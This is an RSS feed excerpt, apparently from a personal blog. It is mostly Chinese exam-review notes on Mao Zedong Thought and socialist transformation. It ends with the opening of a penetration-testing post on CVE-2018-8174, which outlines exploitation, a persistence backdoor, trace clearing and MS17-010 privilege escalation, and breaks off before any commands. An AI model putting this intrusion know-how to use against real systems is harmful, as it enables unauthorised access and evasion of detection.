&lt;p&gt;第三，毛泽东思想是马克思主义发展史上承上启下、继往开来的重要阶段，已经并将继续对中国共产党和中华民族发挥巨大而长远的指导作用。&lt;/p&gt;

&lt;h2 id=&quot;毛泽东思想的发展历程&quot;&gt;毛泽东思想的发展历程&lt;/h2&gt;
&lt;h3 id=&quot;形成&quot;&gt;形成&lt;/h3&gt;

&lt;p&gt;==第一次国内革命战争时期==，以马列主义为主导，在《==中国社会各阶级的分析==》《==湖南农民运动考察报告==》中，分析了中国社会各阶级在革命中的地位和作用，提出了新民主主义革命的基本思想&lt;/p&gt;

&lt;p&gt;==土地革命战争时期==，将马列主义和中国实际相结合，毛泽东在《==中国红色政权为什么能够存在?==》《==井冈山的斗争==》《==星星之火，可以燎原==》《==反对本本主义==》中，提出了==农村包围城市、武装夺取政权==的思想，++==&lt;strong&gt;&lt;em&gt;标志着毛泽东思想的形&lt;/em&gt;&lt;/strong&gt;成==++&lt;/p&gt;

&lt;h3 id=&quot;成熟&quot;&gt;成熟&lt;/h3&gt;

&lt;p&gt;==遵义会议后==，在《==实践论==》《==矛盾论==》中，运用马克思主义的认识论和辩证法，系统分析了党内“左”和右的错误。在《==&lt;共产党人&gt;发刊词==》《==中国革命和中国共产党==》《==新民主主义论==》《==论联合政府==》中，提出了新民主主义革命的总路线，提出了新民主主义革命的具体目标&lt;/共产党人&gt;&lt;/p&gt;

&lt;p&gt;==1945年==，==中共七大==将毛泽东思想写入党章&lt;/p&gt;

&lt;h3 id=&quot;继续发展&quot;&gt;继续发展&lt;/h3&gt;

&lt;p&gt;==解放战争时期和新中国成立以后==，提出==人民民主专政理论、社会主义改造理论、关于严格区分和正确处理两类矛盾==的学说，特别是==关于正确处理人民内部矛盾==的理论&lt;/p&gt;

&lt;p&gt;关于社会主义革命和社会主义建设的重要思想，集中体现于毛泽东《==在中国共产党第七届中央委员会第二次全体会议上的报告==》《==论人民民主专政==》《==论十大关系==》《==关于正确处理人民内部矛盾的问题==》&lt;/p&gt;

&lt;h2 id=&quot;第一章零碎知识点&quot;&gt;第一章零碎知识点&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;1848年，《共产党宣言》发表，标志着马克思主义的诞生&lt;/li&gt;
  &lt;li&gt;1956年，三大改造完成后，标志着社会主义制度的建立&lt;/li&gt;
  &lt;li&gt;三座大山: 帝国主义、封建主义、官僚资本主义&lt;/li&gt;
  &lt;li&gt;三大法宝: 统一战线、武装斗争、党的建设&lt;/li&gt;
  &lt;li&gt;1981年，党的十一届六中全会《历史决议》，指出来毛泽东思想活的灵魂&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;第二章-新民主主义革命理论&quot;&gt;第二章 新民主主义革命理论&lt;/h1&gt;

&lt;h2 id=&quot;为什么说新民主主义革命属于世界无产阶级革命的一部分&quot;&gt;为什么说新民主主义革命属于世界无产阶级革命的一部分?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNc79gy1fyy9esd8xmj30vw0ns4ae.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;什么是新民主主义革命的总路线&quot;&gt;什么是新民主主义革命的总路线?&lt;/h2&gt;

&lt;p&gt;无产阶级领导的，人民大众的，反对帝国主义、封建主义和官僚资本主义的革命&lt;/p&gt;

&lt;h2 id=&quot;为什么说农民问题是中国革命的基本问题&quot;&gt;为什么说农民问题是中国革命的基本问题?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNc79gy1fyy9lp6zw8j30mc0c8dn1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;无产阶级及其政党应该如何实现对新民主主义革命的领导权&quot;&gt;无产阶级及其政党应该如何实现对新民主主义革命的领导权?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNc79ly1fz1qp21hu5j30sg0btabm.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;怎样理解新民主主义革命的性质是新式的资产阶级民主主义革命&quot;&gt;怎样理解新民主主义革命的性质是新式的资产阶级民主主义革命?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNc79ly1fz1qqwbmmdj30pg0f1mzg.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;怎样区别新民主主义革命和旧民主主义革命&quot;&gt;怎样区别新民主主义革命和旧民主主义革命?&lt;/h2&gt;

&lt;p&gt;区别新旧民主主义革命的根本标志是，&lt;strong&gt;革命的领导权&lt;/strong&gt;是掌握在无产阶级手中还是掌握在资产阶级手中&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNc79gy1fyy9vy2g30j31eg0esdqj.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;新民主主义革命与社会主义革命的区别和联系是什么&quot;&gt;新民主主义革命与社会主义革命的区别和联系是什么?&lt;/h2&gt;

&lt;p&gt;性质不同。新民主主义革命属于资产阶级民主主义革命的范畴。在政治上争取和联合民族资产阶级去反对共同的敌人，在经济上保护民族工商业。它要建立的是无产阶级领导的各革命积极的联合专政。社会主义革命是无产阶级性质的革命，它所要实现的目标是消灭资本主义剥削制度和改造小生产的私有制。&lt;/p&gt;

&lt;p&gt;联系。民主主义革命是社会主义革命的必要准备，社会主义革命是民主主义革命的必然趋势。&lt;/p&gt;

&lt;h2 id=&quot;新民主主义基本纲领的内容是什么&quot;&gt;新民主主义基本纲领的内容是什么?&lt;/h2&gt;

&lt;p&gt;==政治纲领==: 推翻帝国主义和封建主义的统治，建立一个无产阶级领导的、以工农联盟为基础的、各革命阶级联合专政的新民主主义的共和国。&lt;/p&gt;

&lt;p&gt;国体: 无产阶级领导的以工农联盟为基础，包括小资产阶级、民族资产阶级和其他反帝反封建的人们在内的各革命阶级的联合专政&lt;/p&gt;

&lt;p&gt;政体: 实行民主集中制的人民代表大会制度&lt;/p&gt;

&lt;p&gt;==经济纲领==: 没收封建地主阶级的土地归农民所有，没收官僚资产阶级的垄断资本归新民主主义的国家所有，保护民族工商业。&lt;/p&gt;

&lt;p&gt;==文化纲领==: 无产阶级领导的人民大众的反帝反封建的文化，即民族的科学的大众的文化。&lt;/p&gt;

&lt;h2 id=&quot;新民主主义革命为什么要保护民族工商业&quot;&gt;新民主主义革命为什么要保护民族工商业?&lt;/h2&gt;
&lt;p&gt;在新民主主义条件下保护民族工商业，发展资本主义，是由中国落后的生产力和新民主主义革命的性质所决定的。同官僚资产阶级相比，民族资产阶级与帝国主义和封建主义联系较少。民族资本主义经济，是一种与新生产力相联系的先进的生产方式和经济成分，它对发展现代技术、发展社会生产力具有积极作用。在新民主主义的国家制度下，让私人资本主义经济在不能操纵国计民生的范围内获得发展的便利，有益于社会向前发展。&lt;/p&gt;

&lt;h2 id=&quot;新民主主义革命走的一条什么道路为什么必须走这条道路&quot;&gt;新民主主义革命走的一条什么道路?为什么必须走这条道路?&lt;/h2&gt;

&lt;p&gt;==农村包围城市，武装夺取政权==&lt;/p&gt;

&lt;p&gt;中国革命必须走农村包围城市、武装夺取政权的道路，是由中国所处的时代特点和具体国情决定的。一方面，在半殖民地半封建的中国社会，内无民主制度而受封建主义的压迫，外无民族独立而受帝国主义的压迫。中国革命的主要斗争形式只能是武装斗争，以革命的武装消灭反革命的武装。另一方面，近代中国是一个农业大国，农民占全国人口的绝大多数，是无产阶级可靠的同盟军和革命的主力军，必须充分地发动农民，凝聚农民阶级的革命力量。这就要求无产阶级及其政党必须深入农村，从解决农民的土地问题入手，组织、发动和武装农民，使革命战争获得广大农民的支持和参加，为最后夺取全国政权奠定基础。&lt;/p&gt;

&lt;p&gt;中国革命之所以能走农村包围城市、武装夺取政权的道路，原因有:&lt;/p&gt;

&lt;p&gt;第一，近代中国是多个帝国主义间接统治的经济落后的半殖民地国家，社会政治经济发展极端不平衡，四分五裂，军阀割据，存在不少的统治薄弱环节，为党在农村开展革命斗争、建设革命根据地提供了缝隙和可能；&lt;/p&gt;

&lt;p&gt;第二，近代中国的农民深受统治阶级的压迫和剥削，革命愿望强烈。加之大革命的影响为农村根据地的建立奠定了好的群众基础；&lt;/p&gt;

&lt;p&gt;第三，革命形势的继续向前发展，是农村根据地能够存在和发展的重要客观条件。&lt;/p&gt;

&lt;p&gt;第四，相当力量正式红军的存在为农村根据地的创立、巩固和发展提供了坚强的后盾。&lt;/p&gt;

&lt;p&gt;第五，党的领导及其正确的政策，是农村根据地能够存在和发展的重要主观条件。&lt;/p&gt;

&lt;h2 id=&quot;新民主主义道路的内容是什么&quot;&gt;新民主主义道路的内容是什么?&lt;/h2&gt;

&lt;p&gt;==土地革命、武装斗争、农村革命根据地==&lt;/p&gt;

&lt;p&gt;==土地革命==是民主革命的基本内容&lt;/p&gt;

&lt;p&gt;==武装斗争==是中国革命的主要形式，是农村根据地建设和土地革命的强有力保证&lt;/p&gt;

&lt;p&gt;==农村革命根据地==是中国革命的战略阵地，是进行武装斗争和开展土地革命的依托。&lt;/p&gt;

&lt;h2 id=&quot;新民主主义革命的三大法宝及其关系是什么&quot;&gt;新民主主义革命的三大法宝及其关系是什么?&lt;/h2&gt;

&lt;p&gt;统一战线、武装斗争、党的建设(《==共产党人发刊词==》)&lt;/p&gt;

&lt;p&gt;==关系==：统一战线和武装斗争是中国革命的两个基本特点，是战胜敌人的两个基本武器。统一战线是实行武装斗争的统一战线，武装斗争是统一战线的中心支柱，党的组织则是掌握统一战线和武装斗争这两个武器以实行对敌冲锋陷阵的英勇战士。&lt;/p&gt;

&lt;p&gt;统一战线的实践经验:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;要建立巩固的工农联盟&lt;/li&gt;
  &lt;li&gt;要正确对待资产阶级，尤其是民族资产阶级&lt;/li&gt;
  &lt;li&gt;要采取区别对待的方针&lt;/li&gt;
  &lt;li&gt;要坚持独立自主的原则&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;武装斗争的实践经验:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;坚持党对军队的绝对领导&lt;/li&gt;
  &lt;li&gt;建设全心全意为人民服务的人民军队&lt;/li&gt;
  &lt;li&gt;坚持正确的战略战术原则&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;党的建设的经验:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;必须把思想建设始终放在党的建设的首位&lt;/li&gt;
  &lt;li&gt;必须在任何时候都重视党的组织建设&lt;/li&gt;
  &lt;li&gt;必须重视党的作风建设&lt;/li&gt;
  &lt;li&gt;必须联系党的政治路线加强党的建设&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;半殖民地半封建社会&quot;&gt;半殖民地半封建社会&lt;/h2&gt;
&lt;h3 id=&quot;半封建性&quot;&gt;半封建性&lt;/h3&gt;

&lt;p&gt;中国没有发展成为资本主义国家的原因:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;地主阶级对农民的剥削依旧存在&lt;/li&gt;
  &lt;li&gt;中国民族资本主义先天不足&lt;/li&gt;
  &lt;li&gt;外国资本、官僚资本、封建势力的多重压迫&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;半殖民地&quot;&gt;半殖民地&lt;/h3&gt;

&lt;p&gt;受制于帝国主义列强&lt;/p&gt;

&lt;h3 id=&quot;半殖民地半封建的中国主要社会矛盾&quot;&gt;半殖民地半封建的中国主要社会矛盾&lt;/h3&gt;

&lt;p&gt;==帝国主义和中华民族的矛盾、封建主义和人民大众的矛盾==&lt;/p&gt;

&lt;h2 id=&quot;近代中国革命的根本任务&quot;&gt;近代中国革命的根本任务&lt;/h2&gt;

&lt;p&gt;推翻帝国主义、封建主义和官僚资本主义的统治，从根本上推翻反动腐朽的政治上层建筑，变革阻碍生产力发展的生产关系，为建设富强民主的国家、确立人民当家作主的政治制度、改善人民生活扫清障碍，创造必要的前提&lt;/p&gt;

&lt;h2 id=&quot;新民主主义革命的对象&quot;&gt;新民主主义革命的对象&lt;/h2&gt;

&lt;p&gt;==帝国主义、封建主义、官僚资本主义==&lt;/p&gt;

&lt;p&gt;帝国主义是中国革命的首要对象&lt;/p&gt;

&lt;p&gt;封建地主阶级是帝国主义统治中国和封建军阀实行专制统治的社会基础&lt;/p&gt;

&lt;p&gt;中国革命主要打击上述两个敌人，对外推翻帝国主义压迫的民族革命和对内推翻封建地主压迫的民主革命&lt;/p&gt;

&lt;p&gt;==民族革命和民主革命==两个基本任务，既相互区别，又相互统一。帝国主义是封建地主阶级的靠山，如果不推翻帝国主义的统治，就不能消灭封建地主阶级的统治；地主阶级是帝国主义统治中国的主要社会基础&lt;/p&gt;

&lt;p&gt;官僚资本主义是依靠帝国主义、勾结封建势力、利用国家政权力量发展起来的买办的封建的国家垄断资本主义&lt;/p&gt;

&lt;h2 id=&quot;新民主主义革命的动力&quot;&gt;新民主主义革命的动力&lt;/h2&gt;

&lt;p&gt;==无产阶级、农民阶级、城市小资产阶级、民族资产阶级==&lt;/p&gt;

&lt;p&gt;无产阶级是中国革命最基本的动力。民族资产阶级是一个带有两面性的阶级。&lt;/p&gt;
&lt;h2 id=&quot;其它知识点&quot;&gt;其它知识点&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;认清中国国情，是解决中国革命问题的基本前提&lt;/li&gt;
  &lt;li&gt;近代中国最基本的国情: 半殖民地半封建社会&lt;/li&gt;
  &lt;li&gt;==1919年五四运动==标志着中国资产阶级民主革命进入新民主主义革命，也标志着中国无产阶级开始以独立的政治力量登上历史舞台，由自在阶级转变为自为的阶级，领导革命的无产阶级，指导革命的是马克思列宁主义&lt;/li&gt;
  &lt;li&gt;1939年，毛泽东在《中国革命和中国共产党》一文中==第一次==提出了==新民主主义革命==的科学概念&lt;/li&gt;
  &lt;li&gt;1948年，毛泽东在《==在晋绥干部会议上的讲话==》中完整地表述了总路线的内容&lt;/li&gt;
  &lt;li&gt;==中国革命要分两步走==：==第一步==是完成反帝反封建的新民主主义革命任务；==第二步==是完成社会主义革命任务&lt;/li&gt;
  &lt;li&gt;新民主主义革命的性质: ==资产阶级民主主义革命==&lt;/li&gt;
  &lt;li&gt;新民主主义革命时期，党领导的统一战线: 第一次国共合作的统一战线、工农民主统一战线、抗日民族统一战线、人民民主统一战线&lt;/li&gt;
  &lt;li&gt;党领导的统一战线包含着两个联盟: ==工人阶级同农民阶级、广大知识分子及其他劳动者的联盟==、==工人阶级和非劳动人民的联盟==&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;第三章-社会主义改造理论&quot;&gt;第三章 社会主义改造理论&lt;/h1&gt;
&lt;h2 id=&quot;过渡时期的总路线&quot;&gt;过渡时期的总路线&lt;/h2&gt;

&lt;p&gt;1953年6月，毛泽东正式提出过渡时期的总路线和总任务，12月详细表述&lt;/p&gt;

&lt;p&gt;==要在一个相当长的时期内，逐步实现国家的社会主义工业化，并逐步实现国家对农业、对手工业和对资本主义工商业的社会主义改造==&lt;/p&gt;

&lt;h2 id=&quot;为什么说新民主主义社会是一个过渡性社会为什么新民主主义社会属于社会主义体系是逐步过渡到社会主义社会的过渡性质的社会&quot;&gt;为什么说新民主主义社会是一个过渡性社会(为什么新民主主义社会属于社会主义体系，是逐步过渡到社会主义社会的过渡性质的社会)?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNc79ly1fz1qu00qp8j30is0c6t9f.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;怎样理解新民主主义社会的经济政治特点以及社会性质&quot;&gt;怎样理解新民主主义社会的经济、政治特点以及社会性质?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNc79ly1fz1quvp2d2j30eo07kglz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;对农业和资本主义工商业的社会主义改造方式和具体步骤是什么&quot;&gt;对农业和资本主义工商业的社会主义改造方式和具体步骤是什么?&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;农业&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;1) 积极引导农民组织起来，走互助合作道路
2) 遵循自愿互利、典型示范和国家帮助的原则，以互助合作的优越性吸引农民走互助合作的道路
3) 正确分析农村的阶级和阶层状况，制定正确的阶级政策
4) 坚持积极领导、稳步前进的方针，采取循序渐进的步骤&lt;/p&gt;

&lt;p&gt;步骤： （1） 对农业的社会主义改造，依次经历了==互助组、初级社、高级社==三个阶段。（2）互助组生产资料私有，只在生产方面组织起来，只具有社会主义萌芽性质。（3）初级社以土地入股和统一经营为特点，集体劳动，在个人收入的分配上实行按劳分配和土地入股分红相结合，具有半社会主义性质。（4）高级社实行生产资料集体所有，集体劳动，按劳取酬，具有完全的社会主义性质。到==1956==年底农业社会主义改造基本完成。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;资本主义工商业的社会主义改造&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;方法：&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;采用和平赎买的方法。&lt;/li&gt;
  &lt;li&gt;采取从低级到高级的国家资本主义的过渡形式。&lt;/li&gt;
  &lt;li&gt;把资本主义工商业者改造成为自食其力的社会主义劳动者。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;步骤：&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;主要实行初级形式的国家资本主义。&lt;/li&gt;
  &lt;li&gt;主要实行个别企业的公私合营。&lt;/li&gt;
  &lt;li&gt;是实行全行业的公私合营。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;为什么能够采取赎买的方式对资本主义工商业进行和平改造&quot;&gt;为什么能够采取赎买的方式对资本主义工商业进行和平改造？&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;民族资产阶级具有两面性。
 民族资产阶级既有剥削工人的一面，又有愿意接受社会主义改造的一面。&lt;/li&gt;
  &lt;li&gt;中国共产党与民族资产阶级长期保持着统一战线的关系，这就为将工人阶级和民族资产阶级之间存在着的对抗性矛盾转化为非对抗性矛盾并按照人民内部矛盾来处理提供了前提。&lt;/li&gt;
  &lt;li&gt;我国已经有了以工人阶级为领导、工农联盟为基础的人民民主专政的国家政权，建立了强大的社会主义国营经济并掌握了国家的经济命脉，这就造成了私人资本主义在政治上、经济上对社会主义的依赖。&lt;/li&gt;
  &lt;li&gt;当时国家对粮食和工业原料实行统购统销，以及工人对资本家的监督。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;如何认识我国社会主义改造的基本经验&quot;&gt;如何认识我国社会主义改造的基本经验&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;坚持社会主义工业化建设与社会主义改造同时并举。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;社会主义改造是根本变革不适应社会主义工业化发展要求的生产关系、解放和发展生产力的社会主义革命，它是围绕社会主义工业化建设这个中心任务进行的。在社会主义改造的同时进行社会主义建设，到1956年社会主义改造基本完成时，我国以重工业为重点的社会主义工业化基础已初步建立。&lt;/p&gt;

&lt;p&gt;社会主义工业化建设与社会主义改造同时并举，对于在深刻的社会变革中保持社会稳定，粉碎帝国主义的封锁，促进生产力发展，改善人民生活，推动社会进步等方面都具有重要意义。&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;采取积极引导、逐步过渡的方式。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;引导农民逐步走向社会主义的逐步过渡方式，可以使农民感受到组织起来力量大，有利于克服困难，防止新的两极分化，从而提高走合作化道路的觉悟。对手工业改造采取逐步过渡的方式，不仅保护和促进了手工业生产的发展，还为手工业的技术改造创造了条件。对资本主义工商业的改造采取从初级到高级国家资本主义的过渡形式进行和平赎买，避免了激烈的社会震荡和经济衰退。&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;用和平方法进行改造。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;对私有制经济进行所有制的彻底改造是社会主义性质的革命，运用和平的方法进行改造，个体私有者和民族资本家都乐意接受，这不仅保证了社会主义改造的顺利进行和社会的稳定，而且极大地促进了社会主义事业的发展。&lt;/p&gt;

&lt;h2 id=&quot;其他知识点&quot;&gt;其他知识点&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;新民主主义社会的++五种经济成分++: ==社会主义性质的国营经济、半社会主义性质的合作社经济、农民和手工业者的个体经济、私人资本主义经济、国家资本主义经济==&lt;/li&gt;
  &lt;li&gt;社会阶级: 工人阶级、农民阶级和其他小资产阶级、民族资产阶级&lt;/li&gt;
  &lt;li&gt;==1956年底==，三大改造完成，标志着中国历史上长达数千年的阶级剥削制度的结束和==社会主义基本制度的确立==&lt;/li&gt;
  &lt;li&gt;1954年9月，第一届全国人民代表大会召开和《中华人民共和国宪法》的制定及颁布施行，确立了我国==人民民主专政的国体==和==人民代表大会的政体==&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;确立社会主义基本制度的重大意义&quot;&gt;确立社会主义基本制度的重大意义&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;社会主义基本制度的确立是中国历史上最深刻最伟大的社会变革，为当代中国一切发展进步奠定了制度基础，为中国特色社会主义制度创新和发展提供了制度前提。&lt;/li&gt;
  &lt;li&gt;社会主义制度的确立极大地调动了人民群众的劳动积极性，巨大地促进了我国生产力的发展。&lt;/li&gt;
  &lt;li&gt;社会主义基本制度的确立使广大劳动人民成为国家的主人和社会生产资料的主人&lt;/li&gt;
  &lt;li&gt;社会主义基本制度的确立，占世界人口1/4的中国进入社会主义社会，这是世界社会主义发展史上又一个历史性胜利&lt;/li&gt;
  &lt;li&gt;社会主义基本制度的确立不仅再次证明了马列主义的真理性，而且以独创性的理论原则和经验总结丰富和发展了科学社会主义&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;社会主义改造与我国当今改革的区别&quot;&gt;社会主义改造与我国当今改革的区别&lt;/h2&gt;
&lt;p&gt;社会主义改造在当时的历史条件下，适应国家安全和工业化的需要，将私有制改为了单一的公有制，确立了社会主义基本制度，解决了新民主主义社会的两大主要矛盾，为我国后来的一切进步和发展奠定了基础，它是成功的。&lt;/p&gt;

&lt;p&gt;今天的改革，在公有制为主体的前提下，鼓励私有制经济发展，是当今历史条件下，进一步发展生产力的需要，是对社会主义基本制度的完善和发展。社会主义改造与今天的改革有着不同的时代背景和不同的性质。&lt;/p&gt;

&lt;h1 id=&quot;第四章-社会主义建设道路初步探索的理论成果&quot;&gt;第四章 社会主义建设道路初步探索的理论成果&lt;/h1&gt;

&lt;h2 id=&quot;毛泽东论十大关系确定的基本方针是什么&quot;&gt;毛泽东《论十大关系》确定的基本方针是什么？&lt;/h2&gt;
&lt;p&gt;==努力把党内党外、国内国外的一切积极的因素，直接的、间接的积极因素全部调动起来，为社会主义建设服务==&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;处理好重工业和轻工业 、农业的关系&lt;/li&gt;
  &lt;li&gt;处理好沿海工业和内地工业的关系&lt;/li&gt;
  &lt;li&gt;要处理好经济建设和国防建设的关系&lt;/li&gt;
  &lt;li&gt;要处理好国家 、生产单位和生产者个人的关系&lt;/li&gt;
  &lt;li&gt;要处理好中央和地方的关系&lt;/li&gt;
  &lt;li&gt;要处理好汉族和少数民族的关系&lt;/li&gt;
  &lt;li&gt;处理好党和非党的关系&lt;/li&gt;
  &lt;li&gt;处理好革命和反革命的关系&lt;/li&gt;
  &lt;li&gt;是非关系&lt;/li&gt;
  &lt;li&gt;中国和外国的关系&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;毛泽东关于社会主义社会基本矛盾的思想是什么&quot;&gt;毛泽东关于社会主义社会基本矛盾的思想是什么？&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;==社会主义社会的基本矛盾仍然是生产关系和生产力之间、上层建筑和经济基础之间的矛盾。==&lt;/li&gt;
  &lt;li&gt;社会主义社会的基本矛盾的性质：生产关系和生产力基本适应、上层建筑和经济基础基本适应条件下的矛盾，是在人民根本利益一致基础上的矛盾。&lt;/li&gt;
  &lt;li&gt;社会主义社会的基本矛盾的特点是“非对抗性的矛盾，又相适应又相矛盾”。&lt;/li&gt;
  &lt;li&gt;社会主义社会的基本矛盾经过社会主义社会制度本身的不断改革获得解决。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;为什么毛泽东强调正确处理人民内部矛盾的问题是社会主义国家政治生活的主题&quot;&gt;为什么毛泽东强调正确处理人民内部矛盾的问题是社会主义国家政治生活的主题？&lt;/h2&gt;
&lt;p&gt;因为在社会主义社会里仍然存在矛盾，社会是在不断解决矛盾的过程中前进的。改革开放就是改变不利于提高人民生活水平、不利于生产力发展的问题，消除旧的体制，让社会不断向前发展。通过解决这些矛盾，实现中华民族的伟大复兴，实现我们的中国梦。所以，正确处理人民内部矛盾仍然是中国特色社会主义社会的政治生活主题。我们要多建言献策，大力支持正确方针，提高凝聚力。&lt;/p&gt;

&lt;h2 id=&quot;社会主义社会存在两类不同性质矛盾&quot;&gt;社会主义社会存在两类不同性质矛盾&lt;/h2&gt;
&lt;p&gt;这就是敌我矛盾和人民内部矛盾。==敌我矛盾==是人民同敌视和破坏社会主义建设的社会势力之间的矛盾，是根本利益对立基础上的对抗性质的矛盾。==人民内部矛盾==是人民根本利益一致基础上的非对抗性质的矛盾。&lt;/p&gt;

&lt;p&gt;工人阶级、农民阶级、知识分子各自内部的矛盾和他们相互之间的矛盾、政府与群众之间等矛盾是人民内部矛盾，工人阶级同民族资产阶级的矛盾也是人民内部矛盾。在一定条件下，两类不同性质的矛盾可以相互转化。因此，必须严格区分和正确处理两类不同性质矛盾。&lt;/p&gt;

&lt;h2 id=&quot;依据毛泽东关于社会主义社会存在两类不同性质矛盾理论的主要内容联系我国当前实际试阐明正确处理人民内部矛盾依然是中国特色社会主义国家政治生活的主题&quot;&gt;依据毛泽东关于社会主义社会存在两类不同性质矛盾理论的主要内容，联系我国当前实际，试阐明正确处理人民内部矛盾依然是中国特色社会主义国家政治生活的主题？&lt;/h2&gt;

&lt;h2 id=&quot;其他知识&quot;&gt;其他知识&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;党的八大前后，==1957年2月==毛泽东所作的《==关于正确处理人民内部矛盾的问题==》的报告，系统论述了社会主义社会矛盾的理论&lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Thu, 10 Jan 2019 00:00:00 +0000</pubDate>
        <link>http://WaIdo.github.io/2019/01/10/%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E6%9C%9F%E6%9C%AB%E5%A4%8D%E4%B9%A0/</link>
        <guid isPermaLink="true">http://WaIdo.github.io/2019/01/10/%E6%AF%9B%E6%B3%BD%E4%B8%9C%E6%80%9D%E6%83%B3%E5%92%8C%E4%B8%AD%E5%9B%BD%E7%89%B9%E8%89%B2%E7%A4%BE%E4%BC%9A%E4%B8%BB%E4%B9%89%E7%90%86%E8%AE%BA%E4%BD%93%E7%B3%BB%E6%A6%82%E8%AE%BA%E6%9C%9F%E6%9C%AB%E5%A4%8D%E4%B9%A0/</guid>
        
        
      </item>
    
      <item>
        <title>基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击</title>
        <description>&lt;p&gt;&lt;a href=&quot;https://bbs.ichunqiu.com/thread-49407-1-1.html&quot;&gt;本文已在i春秋论坛发表&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本文涉及的知识点: &lt;code class=&quot;highlighter-rouge&quot;&gt;CVE-2018-8174漏洞复现&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;内网渗透&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;权限维持&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;脚本编程&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;痕迹清除&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;端口转发&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;利用MS17-010提权&lt;/code&gt;&lt;/p&gt;

&lt;h1 id=&quot;cve-2018-8174漏洞简介&quot;&gt;CVE-2018-8174漏洞简介&lt;/h1&gt;

&lt;p&gt;CVE-2018-8174是 Windows VBScript Engine 代码执行漏洞。由于VBScript脚本执行引擎(vbscript.dll)存在代码执行漏洞，攻击者可以将恶意的VBScript嵌入到Office文件或者网站中，一旦用户不小心点击，远程攻击者可以获取当前用户权限执行脚本中的恶意代码，该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招，最终被黑客植入后门木马完全控制电脑。在基于Web的攻击情形中，攻击者能通过Internet Explorer利用此漏洞的特定网站，然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。&lt;/p&gt;

&lt;h1 id=&quot;persistence后门&quot;&gt;Persistence后门&lt;/h1&gt;

&lt;p&gt;Persistence是一款使用安装自启动方式的持久性后门程序，读者可以利用	它创建注册和文件。
参数解释:&lt;/p&gt;
